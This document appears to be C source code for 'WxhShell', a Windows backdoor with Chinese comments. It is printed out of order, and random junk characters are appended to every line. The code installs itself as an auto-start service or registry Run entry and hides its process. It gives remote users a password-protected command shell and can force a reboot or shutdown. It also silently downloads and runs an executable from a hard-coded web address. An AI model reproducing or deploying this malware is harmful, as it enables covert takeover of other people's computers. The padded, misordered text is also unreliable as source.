    if(Boot(SHUTDOWN)) 'm O2t~n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )( bxpW  
    else { j}RzXJ~t  
    closesocket(wsh); YKs4{?vw  
    ExitThread(0); 1V%'.l9  
    } Wsm`YLYkt!  
    break; wFL3& *  
    } 84M3c  
  // 获取shell CLN+I'uX0  
  case 's': { %S#WPD'Y  
    CmdShell(wsh); `|<+  ?  
    closesocket(wsh); (~()RkT  
    ExitThread(0); Vk7=7%xW  
    break; <4mQ*6  
  } g:gB`8w?  
  // 退出 ^\wl2  
  case 'x': { ;&?pd"^<_Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A/ 0qk  
    CloseIt(wsh); J_ J+cRwq  
    break; [xdj6W  
    } - DL"-%X.  
  // 离开 HXks_ix )  
  case 'q': { R]Qp Mj%o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [ rdsv  
    closesocket(wsh); ',mW`ZN  
    WSACleanup(); S()Za@ [a$  
    exit(1); s[c^"@HT  
    break; )+Y&4Qu  
        } hI~SAd ,#A  
  } !k<:k "7  
  } ]rW8y%yD  
AS;.sjgk  
  // 提示信息 /F~X,lm*~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +R[4\ hC0Y  
} J_xG}d  
  } T:!MBWYe|  
5 09Q0 [k  
  return; QnKC#   
} _Bk U+=|J  
)saR0{e0N  
// shell模块句柄 Q$=*aUU%G  
int CmdShell(SOCKET sock) }<[Db}?9  
{ O9]\Q@M.  
STARTUPINFO si; LSkk;)'2K  
ZeroMemory(&si,sizeof(si)); XDLEVSly7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c> G@+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -G b-^G  
PROCESS_INFORMATION ProcessInfo; ?~F. /  
char cmdline[]="cmd"; 9L)L|4A.l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I/p]DT  
  return 0; h~miP7,c<u  
} % vS8?nG  
8tQ|-l *  
// 自身启动模式 F2>%KuM  
int StartFromService(void) d6.}.*7Whc  
{ s AE9<(g&@  
typedef struct )=H{5&e#u  
{ S,vu]?-8  
  DWORD ExitStatus; {XnPx? V  
  DWORD PebBaseAddress; 8wIK:   
  DWORD AffinityMask; nl@E[yA9[  
  DWORD BasePriority; agsISu(  
  ULONG UniqueProcessId; cZ< \  
  ULONG InheritedFromUniqueProcessId; B\_[R'Pf&  
}   PROCESS_BASIC_INFORMATION; FH\CK  
cY{Nos  
PROCNTQSIP NtQueryInformationProcess; DO^y;y>  
>q(6,Mmb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xm^95}80yh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h%1Y6$  
eXzXd*$S  
  HANDLE             hProcess; '_o@V O  
  PROCESS_BASIC_INFORMATION pbi; *not.2+  
V}9;eJRvw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rn" pKUd  
  if(NULL == hInst ) return 0; \P?A7vuhLs  
s4,(26y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1K[(ou'rl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 25em[Q:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4lz{G*u  
%v4 [{ =fE  
  if (!NtQueryInformationProcess) return 0; dAxp ,):&J  
7rIlTrG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nW5K[/1D  
  if(!hProcess) return 0; ]Oso#GYD  
X8CVY0<o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h4 vm{ho  
~:2K#q5C  
  CloseHandle(hProcess); 8:{ q8xZ=k  
tWk{1IL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zM59UQU;  
if(hProcess==NULL) return 0; A&N*F"q  
n,nisS  
HMODULE hMod; }O*WV1  
char procName[255]; V/bH^@,sA  
unsigned long cbNeeded; ~`Sle xK|}  
[ud|dwP"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .,mPdVof  
(hf zM+2  
  CloseHandle(hProcess); /DU*M,  
kxo.v|)8  
if(strstr(procName,"services")) return 1; // 以服务启动 ;|30QUYh  
KO,_6>8]U  
  return 0; // 注册表启动 treXOC9^B8  
} cyMs(21  
2 sSwDF  
// 主模块 oh\1>3,Ns  
int StartWxhshell(LPSTR lpCmdLine) Gah lS*W  
{ }1>atgq]w  
  SOCKET wsl; &=zU611,  
BOOL val=TRUE; @ER1zKK?  
  int port=0; x/I;nM Y  
  struct sockaddr_in door; 0<&M?^  
w3bIb$12  
  if(wscfg.ws_autoins) Install(); u^=@DO'  
jG8;]XP  
port=atoi(lpCmdLine); a8JN19}D  
}W}G X(?P  
if(port<=0) port=wscfg.ws_port; Y/P]5: =h  
,qy&|4Jz  
  WSADATA data; Hsl{rN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HV\"T(8 9  
jo0Pd_W8&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CG9ba |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3!Bj{;A  
  door.sin_family = AF_INET; xOIg|2^8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &@; RI~  
  door.sin_port = htons(port); BXA]9eK  
_?b;0{93u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $4Y&j}R  
closesocket(wsl); 3bts7<K=  
return 1; ^s*\Qw{Ii  
} evOb  
7@P656{  
  if(listen(wsl,2) == INVALID_SOCKET) { h5!d  
closesocket(wsl); \)R-A '*U  
return 1; e\.HWV]I  
} };p~A-E=  
  Wxhshell(wsl); Gl>E[iO  
  WSACleanup(); }ecs Gw  
/"MJkM.~E  
return 0; %#9P?COs&W  
.,mM%w,^O  
} xjrlc9  
A& =pw#  
// 以NT服务方式启动 stXda@y<p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o<J5!  
{ [ &daG:  
DWORD   status = 0; STB-guia5  
  DWORD   specificError = 0xfffffff; sR! +d:LJ4  
Tc_do"uU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6ZksqdP8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :#SNpn=@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A^g>fv  
  serviceStatus.dwWin32ExitCode     = 0; s##Ay{  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ LbGH<#J  
  serviceStatus.dwCheckPoint       = 0; ohplj`X[21  
  serviceStatus.dwWaitHint       = 0; z8tl0gd%D  
,'_( DJX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0||F`24  
  if (hServiceStatusHandle==0) return; b,Lw7MY}[  
kW(Kh0x  
status = GetLastError(); A'~#9@l<  
  if (status!=NO_ERROR) kaO{#i2-  
{ C8MWIX}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jGiw96,Y  
    serviceStatus.dwCheckPoint       = 0; 4:`[qE3  
    serviceStatus.dwWaitHint       = 0; raHVkE{<  
    serviceStatus.dwWin32ExitCode     = status; 2Oi'E  
    serviceStatus.dwServiceSpecificExitCode = specificError; % $.vOFP9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $_bZA;EMQ  
    return; $rTu6(i1  
  } DZP*x  
GBr,LN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -t>Z 9  
  serviceStatus.dwCheckPoint       = 0; )JX$/- RD-  
  serviceStatus.dwWaitHint       = 0; hr1$1&p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .qinR 6=  
} 9A<0zt  
mt^`1ekoY  
// 处理NT服务事件,比如:启动、停止 \!4|tBKVY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cD8Ea(  
{ @T/qd>T o  
switch(fdwControl) GEfY^! F+  
{ [DhEh@  
case SERVICE_CONTROL_STOP: 1t#XQ?8  
  serviceStatus.dwWin32ExitCode = 0; .FJ j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6=3(oUl  
  serviceStatus.dwCheckPoint   = 0; a7 =YG6[  
  serviceStatus.dwWaitHint     = 0; 6Ty 3e|do  
  { QES^^PQe:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); req-Q |  
  } (GNEYf|  
  return; L ]*`4 L  
case SERVICE_CONTROL_PAUSE: 7@@<5&mN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LU G9 #.  
  break;  feN!_ -  
case SERVICE_CONTROL_CONTINUE: dFMAh&:>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Q6h /"2  
  break; OF-WUa4t  
case SERVICE_CONTROL_INTERROGATE: 8? F 2jv  
  break; _eh3qs:  
}; l_b_-p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |G=FqAX H  
} j"0rkN3$J  
kkL(;H:%  
// 标准应用程序主函数 B6uRJcD4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !^-OfqIHfV  
{ ]f5c\\)  
&~}@u[=ux  
// 获取操作系统版本 vgN@~Xa  
OsIsNt=GetOsVer(); fOLnK y#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |C4o zl=O?  
Fq4lXlSB  
  // 从命令行安装 K?JV]^  
  if(strpbrk(lpCmdLine,"iI")) Install(); +9jivOmK  
;da4\bppt  
  // 下载执行文件 S!<"Swf:  
if(wscfg.ws_downexe) { w O89&XZ<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )tCx5 9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,A?{~?u.  
} @x*.5:[  
df yrn%^Ia  
if(!OsIsNt) { #XfT1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yq{jEatY{/  
HideProc(); CMFC"eS e  
StartWxhshell(lpCmdLine); <irpmRQr  
} _trpXkQp  
else #:Xa'D+  
  if(StartFromService()) Z]7tjRvq)  
  // 以服务方式启动 ] .`_, IO  
  StartServiceCtrlDispatcher(DispatchTable); k3#wLJ  
else ZLuPz#  
  // 普通方式启动 +2El  
  StartWxhshell(lpCmdLine); yE<,Z%J[n  
oLd:3,p}  
return 0; X= SG  
} 8M~u_`6  
vU7&'ca  
EFeAr@nj  
A^t"MYX@  
=========================================== R7,p ukK  
UL[uh@4  
z41D^}b  
AT-0}9z{  
lqauk)(A0  
8'n#O>V@  
" HMhLTl{;  
!@A|L#*  
#include <stdio.h> ps "9;4P  
#include <string.h> Vl-D<M+i h  
#include <windows.h> ig+k[`W  
#include <winsock2.h> 2G H)iUmc  
#include <winsvc.h> :)j7U3u  
#include <urlmon.h> |K6nOX!i  
qR_SQ VN  
#pragma comment (lib, "Ws2_32.lib") &hO$4qtN  
#pragma comment (lib, "urlmon.lib") 0:jsV|5B8  
=I7[L{+~Y  
#define MAX_USER   100 // 最大客户端连接数 L-j/R1fTvl  
#define BUF_SOCK   200 // sock buffer y>4p~  
#define KEY_BUFF   255 // 输入 buffer 7WXiG0  
X"wF Qa  
#define REBOOT     0   // 重启 Zi ma^IL  
#define SHUTDOWN   1   // 关机 4bE42c=Ca7  
]bf'  
#define DEF_PORT   5000 // 监听端口 4^0\dq  
xiEcEz'lk  
#define REG_LEN     16   // 注册表键长度 y)IGTW o  
#define SVC_LEN     80   // NT服务名长度 &&ja|o-  
f]hBPkZ6  
// 从dll定义API haN"/C^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7(H ?k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y)0gJP L^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <. ezw4ju  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r!CA2iK`  
$tEdBnf^ca  
// wxhshell配置信息 HhzkMJR8  
struct WSCFG { Ca$y819E2  
  int ws_port;         // 监听端口 t`h_+p%>  
  char ws_passstr[REG_LEN]; // 口令 Hi$#!OU  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6^WiZ^~  
  char ws_regname[REG_LEN]; // 注册表键名 P>>f{3e.  
  char ws_svcname[REG_LEN]; // 服务名 y|$vtD%c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m9 ^m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SlR7h$r'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =CWc`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bN]\K/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O}e|P~W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (\T8!s{AO  
"4KkKi  
}; X >3iYDe  
Cm99?K  
// default Wxhshell configuration l# }As.o}  
struct WSCFG wscfg={DEF_PORT, :P HUsy  
    "xuhuanlingzhe", `^?}s-H+  
    1, nZ"{y  
    "Wxhshell", E {I)LdAqK  
    "Wxhshell", D1oaG0  
            "WxhShell Service", !IfI-Q  
    "Wrsky Windows CmdShell Service", F">Nrj-bs  
    "Please Input Your Password: ", 0~Um^q*'3  
  1, +oE7~64LL  
  "http://www.wrsky.com/wxhshell.exe", -bv>iIC  
  "Wxhshell.exe" ,w,ENU0~f  
    }; ^qE<yn  
' #;,oX~5  
// 消息定义模块 [Od>NO,n+]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vx({N?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d4b 9rtM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3WQRN_  
char *msg_ws_ext="\n\rExit."; w:~nw;.T  
char *msg_ws_end="\n\rQuit."; 6 Xzk;p  
char *msg_ws_boot="\n\rReboot..."; d;;>4}XJ]  
char *msg_ws_poff="\n\rShutdown..."; }qG?Vmq*R[  
char *msg_ws_down="\n\rSave to "; em f0sL  
;D%$Eh&oma  
char *msg_ws_err="\n\rErr!"; LsuAOB 8  
char *msg_ws_ok="\n\rOK!"; !l sy&6  
yBpW#1=  
char ExeFile[MAX_PATH]; $q4XcIX 7  
int nUser = 0; sURUQ  H  
HANDLE handles[MAX_USER]; c#]'#+aH  
int OsIsNt; 2U-#0,ll]  
ls8olLM>  
SERVICE_STATUS       serviceStatus; e[d7UV[Knn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]#vvlM>/  
:DS2zA  
// 函数声明 R[mH35D/  
int Install(void); }CB=c]p  
int Uninstall(void); MAm1w'ol"  
int DownloadFile(char *sURL, SOCKET wsh); oO!1  
int Boot(int flag); (mD-FR@#  
void HideProc(void); /\IAr,w[  
int GetOsVer(void); r[C3u[  
int Wxhshell(SOCKET wsl); D#vn {^c8O  
void TalkWithClient(void *cs); tJ(c<:zD  
int CmdShell(SOCKET sock); wgSR*d>y*9  
int StartFromService(void); g=8|z#S  
int StartWxhshell(LPSTR lpCmdLine); ):|G k Sm  
TFiuz; *|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^.pE`l%1}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [ZL r:2+z  
B|Rpm^ |  
// 数据结构和表定义 |r)>bY7  
SERVICE_TABLE_ENTRY DispatchTable[] = #+ 2:d?t  
{ pIU#c&%<9  
{wscfg.ws_svcname, NTServiceMain}, CSd9\V  
{NULL, NULL} ~:P8g<w  
}; Pj1K  
=]5DYRhX]  
// 自我安装 r| 6S  
int Install(void) eR#gG^o8  
{ ?3B t ;<^  
  char svExeFile[MAX_PATH]; a<a&6 3  
  HKEY key; #cSw"A  
  strcpy(svExeFile,ExeFile); e)ZyTuj  
} kh/mq  
// 如果是win9x系统,修改注册表设为自启动 +O.&64(  
if(!OsIsNt) { "NX m\`8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Knw'h;,[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _D7HQ  
  RegCloseKey(key); H3UX{|[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o2 T/IJP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Ap~7)z[  
  RegCloseKey(key); xVh\GU855  
  return 0; Cn6n4, 0  
    } rw=UK`  
  } 6N)< o ;U  
} aPY>fy^8D  
else { 82Z[eo  
E,ZB;  
// 如果是NT以上系统,安装为系统服务 Mo/2,DiI5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  "df13U"  
if (schSCManager!=0) (> +k3  
{ 5tgILxSK  
  SC_HANDLE schService = CreateService (DEL xE  
  ( Pi"tQyw39$  
  schSCManager, a@S4IoBg%  
  wscfg.ws_svcname, #(26t _a  
  wscfg.ws_svcdisp, ?hry=I(7r  
  SERVICE_ALL_ACCESS, k^'d@1z;C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ziB]S@U  
  SERVICE_AUTO_START, 1O'*X  
  SERVICE_ERROR_NORMAL, *$4A|EA V  
  svExeFile, =yhn8t7@]  
  NULL, `DWi4y7  
  NULL, OH!$5FEc  
  NULL, vxzf[  
  NULL, d <|lLNS  
  NULL cc2oFn  
  ); H>X\C;X[  
  if (schService!=0) Jegx[*O>b  
  { yG4LQE  
  CloseServiceHandle(schService); +qSr=Y:+  
  CloseServiceHandle(schSCManager); #0YzPMV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ck/_UY|  
  strcat(svExeFile,wscfg.ws_svcname); D<D k1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M|Lw`?T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); upEPv .h  
  RegCloseKey(key); bH WvKv+  
  return 0; #BT6bH08X  
    } xj00eL  
  } die2<'\4%  
  CloseServiceHandle(schSCManager);  K+`-[v5\  
} !rsqr32]  
} QE{;M  
.olP m3MC  
return 1; 1$3XKw'  
} faL^=CAe  
gQk#l\w _  
// 自我卸载  Z,8+@  
int Uninstall(void) Y+"hu2aPkY  
{ [ilv/V<  
  HKEY key; d6d(? "  
4-}A'fTU8  
if(!OsIsNt) { @L>NN>?SGQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Y jv&5  
  RegDeleteValue(key,wscfg.ws_regname); 0@mX4.!  
  RegCloseKey(key); l~Wk07r3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yZ(Nv $[5  
  RegDeleteValue(key,wscfg.ws_regname); yK>0[6l  
  RegCloseKey(key); q:~`7I  
  return 0; }96/: ;:k  
  } 2t`9_zqLw  
} sKB-7  
} amk42  
else { ,TfI  
SU#P.y18%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); < jocfTBk  
if (schSCManager!=0) .^`a6>EQ)|  
{ ,d [b"]Zy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I}G}+0geV  
  if (schService!=0) %6c*dy  
  { W|-N>,G  
  if(DeleteService(schService)!=0) { )r6SGlE[Y  
  CloseServiceHandle(schService); p`l[cVQ<  
  CloseServiceHandle(schSCManager); V jB`~  
  return 0; D'sboOY  
  } ^s(X VVA  
  CloseServiceHandle(schService); B 1ZHV^  
  } 4M<JfD  
  CloseServiceHandle(schSCManager); m|cWX"#g  
} b\|p  
} PHiX:0zT  
cT=wJ  
return 1; #NQz&4W  
} ,w/mk$v  
n XeK,C  
// 从指定url下载文件 gq:TUvX  
int DownloadFile(char *sURL, SOCKET wsh) i>if93mpj  
{ J&U0y  
  HRESULT hr; 8,H5G`  
char seps[]= "/"; xP/1@6]_Je  
char *token; 6_ &6'Vq  
char *file; ^q N1~v=hS  
char myURL[MAX_PATH]; []N$;~R7  
char myFILE[MAX_PATH]; /HJ(Wt q  
4ysdna\+  
strcpy(myURL,sURL); I#hg(7|",  
  token=strtok(myURL,seps); C=_-p"O#  
  while(token!=NULL) +D-+}&oW  
  { a$! {Tob2  
    file=token; % x*Ec[l  
  token=strtok(NULL,seps); 3 ws(uF9$  
  } wyA(}iSq  
"KI,3g _V  
GetCurrentDirectory(MAX_PATH,myFILE); 53+rpU_  
strcat(myFILE, "\\"); d_7Xlp@  
strcat(myFILE, file); gjN!_^ _  
  send(wsh,myFILE,strlen(myFILE),0); 46?F+,Rzl  
send(wsh,"...",3,0); acju!,G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Py25k 0j!  
  if(hr==S_OK) c'Tu,-  
return 0; 7D~O/#dcc  
else =5=Vm[  
return 1; _Il9s#NA%  
*I1W+W`G  
} e %v4,8  
UV8r&O  
// 系统电源模块 8 W<)c  
int Boot(int flag) &'ETx"  
{ QKaj4?p$|S  
  HANDLE hToken; ut5!2t$c  
  TOKEN_PRIVILEGES tkp; 2"Uk}Yz|  
v0MOX>`s  
  if(OsIsNt) { %FI6\ |`M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?nSp?m;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6p6Tse]  
    tkp.PrivilegeCount = 1; P$qkb|D,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V?J,ab$X#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1o8"==n%  
if(flag==REBOOT) { <C96]}/ ?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bq&S?! =s  
  return 0; N[bf.5T  
} ?*mbce[  
else { +G[HZ,FL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |mE +f]7$  
  return 0; XM@i|AK M0  
} P$ dgO  
  } Z *<x  
  else {  aC }1]7  
if(flag==REBOOT) { m#K%dR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I \%Lb z  
  return 0; >h( rd1  
} `FB?cPR  
else { C<@1H>S4_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qp.!U~  
  return 0; #!&R7/ KdD  
} )"Br,uIv:/  
} jv=f@:[`I  
c@#zjJhW]  
return 1; sCCr%r]zL  
} xPJJ !mY  
nK'8Mo  
// win9x进程隐藏模块 %+B-Z/1}  
void HideProc(void) r~fl=2>yQ  
{ 0t[mhmSU,  
 2:/MN2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z==}~|5  
  if ( hKernel != NULL ) yxUVM`.~  
  { q[+: t   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <H@!Xw;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o4'4H y  
    FreeLibrary(hKernel); |{IU<o x  
  } 14YV#o:  
-x\l<\*  
return; [*ovYpj^  
} V//q$/&8(  
j~f 7WJ  
// 获取操作系统版本 `"mK\M  
int GetOsVer(void) %c/"A8{eb  
{ :O+b4R+  
  OSVERSIONINFO winfo; rkc%S5we  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =}GyI_br;8  
  GetVersionEx(&winfo); H1qw1[%0y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I5OH=,y`  
  return 1; &`Z)5Ww  
  else 8PjhvU  
  return 0; UuC"-$:  
} SA n=9MG  
r_sl~^* :  
// 客户端句柄模块 7^ {hn_%;  
int Wxhshell(SOCKET wsl) #I~dv{RX  
{ PH%gX`N  
  SOCKET wsh; WM )g(i~(  
  struct sockaddr_in client; Yn2^nT=8  
  DWORD myID; n]c,0N  
*xTquV$  
  while(nUser<MAX_USER) JU1; /3(  
{ #&c;RPac!6  
  int nSize=sizeof(client); HFWm}vA:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &:f'{>3z  
  if(wsh==INVALID_SOCKET) return 1; #(J}xz;  
7{F9b0zwk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p)&\>   
if(handles[nUser]==0) l"y9XO|  
  closesocket(wsh); = d.W'q|  
else A2_3zrE  
  nUser++; %_O>Hy|p  
  } <G?85*Nv_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6-}e-H  
7:E#c"S q  
  return 0; 6Q.whV%y  
} >,vW  
?'m5)Z{  
// 关闭 socket x)Kh _G  
void CloseIt(SOCKET wsh) 'c(Y")QP  
{ ~cj:AIF  
closesocket(wsh); ~0GX~{;r  
nUser--; @_ ZW P  
ExitThread(0); 0M2+?aKif  
} ]!o,S{a&  
5<?$/H|7T  
// 客户端请求句柄 f|1FqL+T]  
void TalkWithClient(void *cs) <f{`}drp/  
{ Cy'W!qH  
<%uZwk>#  
  SOCKET wsh=(SOCKET)cs; rWKLxK4oU  
  char pwd[SVC_LEN]; \1 D,Kx;Cb  
  char cmd[KEY_BUFF]; `9{C/qB  
char chr[1]; sc>)X{eb  
int i,j; u`,R0=<4  
A_U0HVx_  
  while (nUser < MAX_USER) { abP?Dj&  
N ] /d  
if(wscfg.ws_passstr) { 3"D00~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x+`3G.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R:x04!}  
  //ZeroMemory(pwd,KEY_BUFF); c}s3c >`d  
      i=0; Xb 1^Oj  
  while(i<SVC_LEN) { ;K-t  
:S6 <v0`Z  
  // 设置超时 vJ}  
  fd_set FdRead; 2DdLqZY#  
  struct timeval TimeOut; Cms"OkN  
  FD_ZERO(&FdRead); 8^i,M^f^{  
  FD_SET(wsh,&FdRead); S9055`v5  
  TimeOut.tv_sec=8; )X$n'E  
  TimeOut.tv_usec=0; =DwH*U /YR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 98nLj9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q_Sq  uuk  
UpBYL?+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RVy87_J1  
  pwd=chr[0]; b?L43t,  
  if(chr[0]==0xd || chr[0]==0xa) { 9 NSYrIQ"  
  pwd=0; j'cCX[i  
  break; \9Zfu4WR  
  } 7O :Gi*MA  
  i++; A1T;9`E  
    } sJ()ItU5i  
~3]8f0^%m  
  // 如果是非法用户,关闭 socket [T|1Qq7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rn*VL(Yd(  
} 5X|aa>/  
MRu+:Y=K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S@-X?Lu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rVmO/Y#Hx$  
s7LX  
while(1) { P ^+>QJ1  
dU n#'<g5  
  ZeroMemory(cmd,KEY_BUFF); ( h,F{7  
@},k\Is  
      // 自动支持客户端 telnet标准   L6qA=b~iz  
  j=0; T8 /'`s  
  while(j<KEY_BUFF) {  ]^%3Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h8;"B   
  cmd[j]=chr[0]; 40/[ uW"  
  if(chr[0]==0xa || chr[0]==0xd) { 2b1:Tt9  
  cmd[j]=0; Ut@)<N  
  break; `?m(Z6'  
  } v9kzMxs,  
  j++; 6Z:|"AwC2  
    } M!@[lJ  
>.>5%  
  // 下载文件 3E:<  
  if(strstr(cmd,"http://")) { [-a /]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l).Ijl}AH;  
  if(DownloadFile(cmd,wsh)) B`Pi\1H6%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B)*%d7=x  
  else NYRNop( N#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qILr+zH  
  } )~kb 7rfl  
  else { qIp`'.#m  
 $nWmoe)  
    switch(cmd[0]) { Yb*}2  
  Xu0*sQK  
  // 帮助 #y%Ao\~kG  
